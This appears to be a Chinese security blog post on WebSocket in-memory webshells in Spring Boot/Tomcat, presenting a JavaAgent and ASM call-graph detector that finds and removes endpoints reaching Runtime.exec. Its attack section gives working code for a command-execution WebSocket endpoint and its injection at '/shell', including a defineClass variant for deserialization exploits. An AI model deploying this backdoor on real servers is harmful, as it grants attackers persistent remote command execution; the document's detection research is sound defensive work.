A-A+

从WebSocket内存马中探究一种新的内存马检测算法

2022年10月27日 17:50 汪洋大海 暂无评论 共21247字 (阅读414 views次)

什么是WebSocket

在传统的HTTP/1.0请求,是无状态服务的往来的通信,即是一种请求一次,响应一次的通信方式。虽然之后的HTTP/1.1长连接不同支持了三次握手之后可以发送多个请求链接,但还是一次请求对应一个响应,无法做到真正意义上的收发同步进行,且服务端无法主动发起Response给客户端。所以很多系统都是采用"轮询"的方式定时向服务端发送请求是否有新的数据产生。为了解决这类问题,继而推出了WebSocket通信方式。

WebSocket是基于TCP协议的一种网络通信协议,实现了客户端和服务端的全双工通信,也就是两个终端之间可以同时发送和接收数据,是一种双向通信方式。

SpringBoot实现WebSocket

先来搭建SpringBoot场景下的WebSocket

package org.websocket.MemoryHorse;
import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.context.annotation.Bean;import org.springframework.web.socket.config.annotation.EnableWebSocket;import org.springframework.web.socket.server.standard.ServerEndpointExporter;
@SpringBootApplication@EnableWebSocketpublic class MemoryHorseApplication {
  public static void main(String[] args) {    SpringApplication.run(MemoryHorseApplication.class, args);  }
  /**   * 初始化Bean,它会自动注册使用了 @ServerEndpoint 注解声明的 WebSocket endpoint   * @return   */  @Bean  public ServerEndpointExporter serverEndpointExporter(){    return new ServerEndpointExporter();  }
}

程序使用了@EnableWebSocket开启WebSocket功能

同时在启动的时候注册了ServerEndpointExporter类的Bean,该类会检测包下面使用@ServerEndpoint注解的Websocket Endpoint,同时还能保证Servlet在扫描该Endpoint的时候可以排除掉。

之后就可以定义一个WebSocket的Endpoint

package org.websocket.MemoryHorse.controller;
import org.springframework.web.bind.annotation.RestController;
import javax.websocket.*;import javax.websocket.server.PathParam;import javax.websocket.server.ServerEndpoint;import java.io.IOException;
import static org.websocket.MemoryHorse.util.WebSocketUtils.ONLINE_USER_SESSIONS;import static org.websocket.MemoryHorse.util.WebSocketUtils.sendMessageAll;
@RestController@ServerEndpoint("/ws/{username}")public class TestServerEndpoint {    @OnOpen    public void openSession(@PathParam("username") String username, Session session) {        ONLINE_USER_SESSIONS.put(username, session);        String message = "欢迎用户[" + username + "] 来到聊天室!";        sendMessageAll(message);    }
    @OnMessage    public void onMessage(@PathParam("username") String username, String message) {        sendMessageAll("用户[" + username + "] : " + message);    }
    @OnClose    public void onClose(@PathParam("username") String username, Session session) {        //当前的Session 移除        ONLINE_USER_SESSIONS.remove(username);        //并且通知其他人当前用户已经离开聊天室了        sendMessageAll("用户[" + username + "] 已经离开聊天室了!");        try {            session.close();        } catch (IOException e) {            e.printStackTrace();        }    }
    @OnError    public void onError(Session session, Throwable throwable) {        try {            session.close();        } catch (IOException e) {            e.printStackTrace();        }    }}

该Endpoint中有四个常见事件的注解

- OnOpen:创建链接的时候触发

- OnMessages:接收到消息的时候触发

- OnClose:链接断开的时候触发

- OnError:出现异常的时候触发

在Endpoint中使用了一个Map来存放对应用户和Session的值,SendMessageAll方法对所有在线的用户发送消息

package org.websocket.MemoryHorse.util;
import javax.websocket.RemoteEndpoint;import javax.websocket.Session;import java.io.IOException;import java.util.Map;import java.util.concurrent.ConcurrentHashMap;
public final class WebSocketUtils {
    // 存储 websocket session    public static final Map<String, Session> ONLINE_USER_SESSIONS = new ConcurrentHashMap<>();
    /**     * @param session 用户 session     * @param message 发送内容     */    public static void sendMessage(Session session, String message) {        if (session == null) {            return;        }        final RemoteEndpoint.Basic basic = session.getBasicRemote();        if (basic == null) {            return;        }        try {            basic.sendText(message);        } catch (IOException e) {            e.printStackTrace();        }    }
    public static void sendMessageAll(String message) {        ONLINE_USER_SESSIONS.forEach((sessionId, session) -> sendMessage(session, message));    }
}

这里还需要注意一下,application.properties中如果指定了WebSocket的注册路径,使用的时候一定要加上该路径

server.servlet.context-path=/websocket

图片

WebSocket在SpringBoot场景下启动分析
公共接口ServletContainerInitializer允许在库类/运行时收到web应用程序启动阶段,对Servlet、Filter、Listeners执行注册。且此接口可以通过HandlesType注解传递参数给onStartup方法的第一个参数Set集合。而如果想实现该接口,则必须在位于META-INF/services目录内的JAR文件声明该实现类,如下图所示:

图片

声明之后,便可以通过SPI服务提供接口调用WsSci类

@HandlesTypes({ServerEndpoint.class, ServerApplicationConfig.class, Endpoint.class})public class WsSci implements ServletContainerInitializer {    public WsSci() {    }
    public void onStartup(Set<Class<?>> clazzes, ServletContext ctx) throws ServletException {        WsServerContainer sc = init(ctx, true);    }
    static WsServerContainer init(ServletContext servletContext, boolean initBySciMechanism) {        WsServerContainer sc = new WsServerContainer(servletContext);        servletContext.setAttribute("javax.websocket.server.ServerContainer", sc);        servletContext.addListener(new WsSessionListener(sc));        if (initBySciMechanism) {            servletContext.addListener(new WsContextListener());        }
        return sc;    }}

先来看看,WsSci中的onStartup调用了init方法,并在其中创建了WsServerContainer类

WsServerContainer(ServletContext servletContext) {  Dynamic fr = servletContext.addFilter("Tomcat WebSocket (JSR356) Filter", new WsFilter());  fr.setAsyncSupported(true);  EnumSet<DispatcherType> types = EnumSet.of(DispatcherType.REQUEST, DispatcherType.FORWARD);  fr.addMappingForUrlPatterns(types, true, new String[]{"/*"});}

可以看到,WsServerContainer构造方法中添加了一个"Tomcat WebSocket (JSR356) Filter"的Filter过滤器,目标类为WsFilter。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {    if (this.sc.areEndpointsRegistered() && UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {        HttpServletRequest req = (HttpServletRequest)request;        HttpServletResponse resp = (HttpServletResponse)response;        String pathInfo = req.getPathInfo();        String path;        if (pathInfo == null) {            path = req.getServletPath();        } else {            path = req.getServletPath() + pathInfo;        }
        WsMappingResult mappingResult = this.sc.findMapping(path);        if (mappingResult == null) {            chain.doFilter(request, response);        } else {            UpgradeUtil.doUpgrade(this.sc, req, resp, mappingResult.getConfig(), mappingResult.getPathParams());        }    } else {        chain.doFilter(request, response);    }}

跟进发现如果路径匹配到,则直接调用UpgradeUtil.doUpgrade方法升级HTTP协议到WebSocket

图片

再回到WsSci的onStartup方法中,看看init之后的内容都做了些什么

public void onStartup(Set<Class<?>> clazzes, ServletContext ctx) throws ServletException {    WsServerContainer sc = init(ctx, true);    if (clazzes != null && clazzes.size() != 0) {        Set<ServerApplicationConfig> serverApplicationConfigs = new HashSet();        Set<Class<? extends Endpoint>> scannedEndpointClazzes = new HashSet();        HashSet scannedPojoEndpoints = new HashSet();
        try {            String wsPackage = ContainerProvider.class.getName();            wsPackage = wsPackage.substring(0, wsPackage.lastIndexOf(46) + 1);            Iterator var8 = clazzes.iterator();
            while(var8.hasNext()) {                Class<?> clazz = (Class)var8.next();                JreCompat jreCompat = JreCompat.getInstance();                int modifiers = clazz.getModifiers();                if (Modifier.isPublic(modifiers) && !Modifier.isAbstract(modifiers) && !Modifier.isInterface(modifiers) && jreCompat.isExported(clazz) && !clazz.getName().startsWith(wsPackage)) {                    if (ServerApplicationConfig.class.isAssignableFrom(clazz)) {                        serverApplicationConfigs.add((ServerApplicationConfig)clazz.getConstructor().newInstance());                    }
                    if (Endpoint.class.isAssignableFrom(clazz)) {                        scannedEndpointClazzes.add(clazz);                    }
                    if (clazz.isAnnotationPresent(ServerEndpoint.class)) {                        scannedPojoEndpoints.add(clazz);  //扫描注解是否为@ServerEndpoint                    }                }            }        } catch (ReflectiveOperationException var14) {            throw new ServletException(var14);        }
        Set<ServerEndpointConfig> filteredEndpointConfigs = new HashSet();        Set<Class<?>> filteredPojoEndpoints = new HashSet();        Iterator var17;        if (serverApplicationConfigs.isEmpty()) {            filteredPojoEndpoints.addAll(scannedPojoEndpoints);        } else {            var17 = serverApplicationConfigs.iterator();
            while(var17.hasNext()) {                ServerApplicationConfig config = (ServerApplicationConfig)var17.next();                Set<ServerEndpointConfig> configFilteredEndpoints = config.getEndpointConfigs(scannedEndpointClazzes);                if (configFilteredEndpoints != null) {                    filteredEndpointConfigs.addAll(configFilteredEndpoints);                }
                Set<Class<?>> configFilteredPojos = config.getAnnotatedEndpointClasses(scannedPojoEndpoints);                if (configFilteredPojos != null) {                    filteredPojoEndpoints.addAll(configFilteredPojos);    //将扫描到的类添加到filteredPojoEndpoints中                }            }        }
        try {            var17 = filteredEndpointConfigs.iterator();
            while(var17.hasNext()) {                ServerEndpointConfig config = (ServerEndpointConfig)var17.next();                sc.addEndpoint(config);            }
            var17 = filteredPojoEndpoints.iterator();    //获取迭代器遍历
            while(var17.hasNext()) {                Class<?> clazz = (Class)var17.next();                sc.addEndpoint(clazz, true);    //注册@ServerEndpoint的实现类到WsServerContainer中,与WsFilter关联起来            }
        } catch (DeploymentException var13) {            throw new ServletException(var13);        }    }}
最后调用WsServerContainer.addEndpoint方法注册添加

WebSocket内存马实现

之前分析WebSocket的注册过程中,知道WsFilter处理的是WsServerContainer的configExactMatchMap。所以注册WebSocket内存马的思路就是动态添加一个WebSocket路径到configExactMatchMap数据结构中去。

ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/shell").build();ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());try {    container.addEndpoint(config);}catch (DeploymentException e){    return "false";}return "true";

而EndpointInject.class就是我们的恶意WebSocket Endpoint,内容如下:

package org.websocket.MemoryHorse.pojo;
import javax.websocket.*;import java.io.InputStream;
public class EndpointInject extends Endpoint implements MessageHandler.Whole<String> {    private Session session;
    @Override    public void onOpen(Session session, EndpointConfig endpointConfig) {        this.session = session;        session.addMessageHandler(this);    }
    @Override    public void onClose(Session session, CloseReason closeReason) {        super.onClose(session, closeReason);    }
    @Override    public void onMessage(String s) {        try {            Process process;            boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");            if (bool) {                process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });            } else {                process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });            }            InputStream inputStream = process.getInputStream();            StringBuilder stringBuilder = new StringBuilder();            int i;            while ((i = inputStream.read()) != -1)                stringBuilder.append((char)i);            inputStream.close();            process.waitFor();            session.getBasicRemote().sendText(stringBuilder.toString());        } catch (Exception exception) {            exception.printStackTrace();        }    }}

之后访问injection注入页面,再建立WebSocket链接即可执行命令

图片

 

如果遇到Shiro反序列化的利用场景,无法直接通过EndpointInject.class的方式build

ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/shell").build();

可以使用ClassLoad的defineClass的方式定义恶意类

ClassLoader classLoader = Thread.currentThread().getContextClassLoader();byte[] bytes = new byte[]{-54,-2,-70,-66,0,0,0,52,0,-109,10,0};     //EndpointInject.classMethod method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);method.setAccessible(true);Class aClass = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
ServletContext servletContext = request.getServletContext();
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(aClass, "/shell").build();ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());try {    container.addEndpoint(config);}catch (DeploymentException e){    return "false";}return "true";

一种新内存马的查杀思路

关于WebSocket内存马的检测与查杀,网上的脚本几乎都是通过遍历WsServerContainer的configExactMatchMap

@RequestMapping("/getWs")public String getWsFilter(HttpServletRequest request) throws Exception {    WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
    // 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap    Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");    Field field = obj.getDeclaredField("configExactMatchMap");    field.setAccessible(true);    Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
    // 遍历configExactMatchMap, 打印所有注册的 websocket 服务    Set<String> keyset = configExactMatchMap.keySet();    StringBuilder sb = new StringBuilder();    for (String key : keyset) {        Object object = wsServerContainer.findMapping(key);        Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");        Field configField = wsMappingResultObj.getDeclaredField("config");        configField.setAccessible(true);        ServerEndpointConfig config1 = (ServerEndpointConfig) configField.get(object);        Class<?> clazz = config1.getEndpointClass();
        // 打印 ws 服务 url, 对应的 class        sb.append(String.format("websocket name:%s,  websocket class: %s", key, clazz.getName()));        sb.append("\n");    }    return sb.toString();}

图片

但是这种方式还需要结合人工的方式去排查是否恶意的WebSocket,再删除。是因为新型的WebSocket内存马不像Servlet、Filter这类内存马会创建一个新的对象,而是在原有的WsFilter上执行Endpoint类,所以无法通过Class文件是否落地的方式去排除内存马。
这里我想到一种思路去利用程序排查和删除,就是利用函数调用图,判断configExactMatchMap中的类调用最终是否有恶意操作。下面的操作涉及到ASM,如果你对Java的ASM不熟悉,建议可以上网补补基础。

ASM函数调用图生成

项目是用JavaAgent来做的,结合了ASM来遍历所有的方法和类

ClassReader reader = new ClassReader(bytes);ClassWriter writer = new ClassWriter(reader, 0);ClassPrinter visitor = new ClassPrinter(writer,discoveredCalls);reader.accept(visitor, 0);
而这里消费的ClassPrinter就是访问所有的类的监听器,传入的discoveredCalls是一个HashMap,用于之后存放所有调用的方法Key-Value。在ClassPrinter中重写了visitMethod,在所有方法调用的时候就会创建一个TraceAdviceAdapter选择器。
@Overridepublic MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {    MethodVisitor methodVisitor = cv.visitMethod(access, name, desc, signature, exceptions);    return new TraceAdviceAdapter(methodVisitor, access, name, desc,this.ClassName,discoveredCalls);}

在选择器中的构造方法中会把之前的调用方法名称和类传入,并重写visitMethodInsn方法,并将调用路径存入之前的discoveredCalls中。

import java.util.ArrayList;import java.util.List;import java.util.Map;
import org.objectweb.asm.MethodVisitor;import org.objectweb.asm.commons.AdviceAdapter;
public class TraceAdviceAdapter extends AdviceAdapter {  private String MethodName;  private String ClassName;  private Map<String,List<String>> discoveredCalls;
    protected TraceAdviceAdapter(final MethodVisitor mv, final int access, final String name, final String desc,String ClassName,Map<String,List<String>> discoveredCalls) {        super(ASM5, mv, access, name, desc);        this.MethodName = name;        this.ClassName = ClassName;        this.discoveredCalls = discoveredCalls;    }
    @Override    public void visitMethodInsn(final int opcode, final String owner,            final String name, final String desc, final boolean itf) {        //System.out.println("MethodInsn:"+this.ClassName+"#"+this.MethodName+" -> "+owner+"#"+name);
        if(discoveredCalls.containsKey(this.ClassName+"#"+this.MethodName)) {          discoveredCalls.get(this.ClassName+"#"+this.MethodName).add(owner+"#"+name);        }else {          List<String> list = new ArrayList<>();          list.add(owner+"#"+name);          discoveredCalls.put(this.ClassName+"#"+this.MethodName, list);        }
        super.visitMethodInsn(opcode, owner, name, desc, itf);    }
}
由于一个方法可能会调用多个其他方法,因此这里用List存放多条路径。有了所有类的方法调用关系,就需要构造一个CallGraph函数调用图,方便之后检索入口函数Source点到恶意函数Sink点直接是否可达(可达性分析算法)。
有如下简单例子
public class test{    public static void main(String[] args){        System.out.println(replaceHello("Hi,Hello"));    }
    public static String replaceHello(String str){        return str.replaceAll("Hello","CallGraph");    }}

以main方法为入口函数,构造一个函数调用图

定义:有一组有向图G<V,E>,V代表该有向图中的节点,如上图中的main、println、replaceHello、replaceAll等,可以是系统定义的函数,也可能是用户编写的函数。E代表有向边的集合,如main方法中调用了println,则main->println。

图片

查看字节码可以看到方法的调用操作,程序的函数调用图就如下图所示

图片

使用逆拓扑排序算法判断可达性

因为我们的内存马检测思路是通过分析Call Graph调用图来判断最终执行的操作是否有Runtime.exec,因此就需要通过逆拓扑排序的方式,遍历入口方法中到Runtime.exec之间是否有一条可达的路径。但函数调用是依次递归的,如A->B->C一条调用链,A方法中又可能有X、Y、Z方法,因此并不能判断是哪个方法调用了C。

Map<String,List<String>> discoveredCalls;String sinkMethod = "java/lang/Runtime#exec";Stack stack = new Stack();
public boolean dfsSearchSink(String enterMethod) {    if(discoveredCalls.containsKey(enterMethod) && !visitedClass.contains(enterMethod)) {        visitedClass.add(enterMethod);        List<String> list = discoveredCalls.get(enterMethod);        for(String m:list) {            if(m.equals(sinkMethod)) {                stack.push(m);                return true;            }            if(dfsSearchSink(m)) {                stack.push(m);                return true;            }        }        return false;    }else {        return false;    }}
上述代码片段实现了Build入口函数调用所有的方法可达路径,其中visitedClass遍历存放了已经访问过的类属性,防止图出现回环调用的情况。
只要在discoveredCalls中能找到对应的sinkMethod的值,就返回True,并把调用的方法压入堆栈中,而这里的sinkMethod正是java/lang/Runtime#exec恶意方法。
而入口方法,回到前面介绍WebSocket内存马的时候写的EndpointInject类,该类继承了Endpoint,并且重写了onMessage方法
@Overridepublic void onMessage(String s) {    try {        //故意写了个RuntimeUtils.execCommand方法,方便测试逆拓扑排序的效果。        session.getBasicRemote().sendText(RuntimeUtils.execCommand(s));    } catch (IOException e) {        e.printStackTrace();    }}
所以我们只需要把入口函数定成onMessage,Sink定成Runtime.exec方法,如果之间有一条路径可达,则表明注册的WebSocket是内存马。

解决JavaAgent无法反射获取字段问题

前面说到入口方法可以定成onMessage方法,但是还需要获取configExactMatchMap中注册的类,再加上onMessage关键词进行搜索。

可javaAgent中是无法通过反射获取到org.apache.tomcat.websocket.server.WsServerContainer的configExactMatchMap字段。

图片

其原因是Spring容器在启动的时候,类是由org.springframework.boot.loader.LaunchedURLClassLoader加载的。JavaAgent中的类却是由自己的AppClassLoader加载,而LaunchedURLClassLoader本身就是AppClassLoader的子加载器,按照双亲委派,自然就出现NotFoundException错误了。

在经过分析后发现,在Spring容器初始化的时候,会把LaunchedURLClassLoader放到org.apache.catalina.core.ApplicationContext的facade字段中

于是便在ApplicationContext的构造方法返回前,调用了JavaAgent中的静态方法,再设置成全局的ClassLoader,方便之后调用。

@Overridepublic void visitInsn(int opcode) {    if (this.MethodName.equals(App.Change_Class_Method) && this.ClassName.equals(App.Change_Class)) {        if ((opcode >= Opcodes.IRETURN && opcode <= Opcodes.RETURN)            || opcode == Opcodes.ATHROW) {            //方法在返回之前,打印"end"            mv.visitVarInsn(ALOAD, 0);            mv.visitFieldInsn(GETFIELD, "org/apache/catalina/core/ApplicationContext", "facade", "Ljavax/servlet/ServletContext;");            mv.visitMethodInsn(INVOKESTATIC, "com/websocket/findMemShell/App", "changeServletContext", "(Ljava/lang/Object;)V", false);        }    }    mv.visitInsn(opcode);}

在javaAgent中的代码如下:

public static void changeServletContext(Object servletContext) {    if(App.servletContext == null) {        App.servletContext = servletContext;        System.out.println("Change servletContext: "+servletContext.getClass());    }}

织入后,Dump的ApplicationContext类构造方法如下图所示

图片

之后再用loadClass的方式即可获取到对应的类对象

public static List<ConfigPath> getWsConfig() {    try {        Object servletContext = App.servletContext;        if(servletContext == null) {            return null;        }        List<ConfigPath> classList = new ArrayList<>();        //System.out.println("servletContext ClassLoader: "+servletContext.getClass().getClassLoader());        Method getAttribute = servletContext.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationContextFacade").getDeclaredMethod("getAttribute", String.class);        Object wsServerContainer = getAttribute.invoke(servletContext, "javax.websocket.server.ServerContainer");
        Class<?> obj = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsServerContainer");        Field field = obj.getDeclaredField("configExactMatchMap");        field.setAccessible(true);        Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
        // 遍历configExactMatchMap, 打印所有注册的 websocket 服务        Set<String> keyset = configExactMatchMap.keySet();        StringBuilder sb = new StringBuilder();        for (String key : keyset) {            System.out.println("configExactMatchMap key:" + key);            Object object = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsServerContainer").getDeclaredMethod("findMapping", String.class).invoke(wsServerContainer, key);            Class<?> wsMappingResultObj = servletContext.getClass().getClassLoader().loadClass("org.apache.tomcat.websocket.server.WsMappingResult");            Field configField = wsMappingResultObj.getDeclaredField("config");            configField.setAccessible(true);            Object serverEndpointConfig = configField.get(object);
            Class<?> clazz = (Class<?>) servletContext.getClass().getClassLoader().loadClass("javax.websocket.server.ServerEndpointConfig").getDeclaredMethod("getEndpointClass").invoke(serverEndpointConfig);            ConfigPath cp = new ConfigPath(key,clazz.getName());            classList.add(cp);        }        return classList;    }catch(Exception e) {        e.printStackTrace();    }    return null;}

在通过多线程的方式定时查询注册的WebSocket

@Overridepublic void run() {    while(true) {        List<ConfigPath> result = getWsConfigResult.getWsConfig();        if(result != null && result.size() != 0) {            for(ConfigPath cp : result) {                System.out.println("WsConfig Class: \n"+cp.getClassName().replaceAll("\\.", "/")+"#onMessage"+"\n");
                if(discoveredCalls.containsKey(cp.getClassName().replaceAll("\\.", "/")+"#onMessage")) {                    List<String> list = discoveredCalls.get(cp.getClassName().replaceAll("\\.", "/")+"#onMessage");                    for(String str : list) {                        if(dfsSearchSink(str)) {                            stack.push(str);                            stack.push(cp.getClassName().replaceAll("\\.", "/")+"#onMessage");                            StringBuilder sb = new StringBuilder();                            while(!stack.empty()) {                                sb.append("->");                                sb.append(stack.pop());                            }                            System.out.println("CallEdge: "+sb.toString());                            if(getWsConfigResult.deleteConfig(cp.getPath())) {                                System.out.println("Delete Class "+cp.getPath()+" Succeed");                            }else {                                System.out.println("Delete Class "+cp.getPath()+" Failed");                            }                            break;                        }                    }                }            }        }
        System.out.println("Thread-"+count+" Running...");        try {            count++;            Thread.sleep(20000);    //间隔20秒探测        } catch (InterruptedException e) {            e.printStackTrace();        }    }}

每间隔20秒就会读取一次configExactMatchMap中的值,并进行逆拓扑排序,检查是否有恶意函数的调用。如果有,就将该恶意的WebSocket内存马删除。

图片

总结和思考

其所所提出的一种新的内存马检测思路,是通过Java ASM动态Build函数调用图,并用逆拓扑排序的方式检测OnMessage入口方法到Runtime.exec危险函数之间是否存在一条可达路径。我总结了下,这类检测思路比较传统的检测方式有如下优点:

  • JSP检测Class文件是否落地:比较JSP的检测方式,如c0ny1师傅写的java-memshell-scanner项目。是无法结合Call Graph做到WebSocket内存马的识别,需要人工确定。再者现在很多场景都是微服务架构,因此使用更多的是SpringBoot,而SpringBoot不同与直接Tomcat部署的最大区别地方就是不支持JSP部署,只能通过JavaAgent Attach的方式加载,而结合Call Graph这种方式不仅可以检测WebSocket内存马,同时也可以支持检测传统的Controller、Interceptor(目前还未实现传统的内存马检测,如果有师傅觉得这个思路不错想自己实现可以提个pr)。
  • RASP动态获取堆栈信息回溯:目前业界很多RASP也集成了WebShell和内存马的检测功能,就像我之前研究的检测思路一样,很多情况是通过堆栈信息回溯的方式检测。当然,这种方式是一次Request就获取一次堆栈信息,因此对内存的开销也会很大。而用Java ASM提前遍历出的Call Graph除了占用点空间以外,无需每次请求都重新获取一遍函数调用情况。

还可发展的方向(欢迎提交Pr):

  • 目前暂未支持Controller、Interceptor、Filter、Servlet等内存马检测算法。
  • 目前可以支持Attach Agent,但是还未实现Self Attach JVM的方式运行。
  • 目前Sink函数只有Runtime.exec,还可以添加其他恶意函数进行检测。

项目地址:https://github.com/sf197/MemoryShellHunter

 

文章来源:https://mp.weixin.qq.com/s/Yn9yk2KUjc_MXECbAPiwxQ

 

Reference

[1].https://blog.csdn.net/shida219/article/details/126677334

[2].https://zhuanlan.zhihu.com/p/419738104

[3].https://www.docs4dev.com/apidocs/zh/spring/4.3.30.RELEASE/org/springframework/web/socket/server/standard/ServerEndpointExporter.html

[4].https://www.cnblogs.com/love-wzy/p/10373639.html

[5].https://docs.oracle.com/javaee/6/api/javax/servlet/ServletContainerInitializer.html

[6].https://github.com/c0ny1/java-memshell-scanner/pull/4

[7].https://www.cnblogs.com/zpchcbd/p/16513851.html

[8].https://veo.pub/2022/memshell/

[9].https://juejin.cn/post/7067363361368834061

[10].https://zhzhdoai.github.io/2020/10/08/Tomcat-Servlet%E5%9E%8B%E5%86%85%E5%AD%98shell/

[11].https://www.bilibili.com/read/cv13433468

[12]赵丹. 基于静态类型分析的Java程序函数调用图构建方法研究[D].湖南大学,2006.

[13]景延琴. 基于函数调用图的Android程序相似性检测[D].东南大学,2019.DOI:10.27014/d.cnki.gdnau.2019.003241.

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言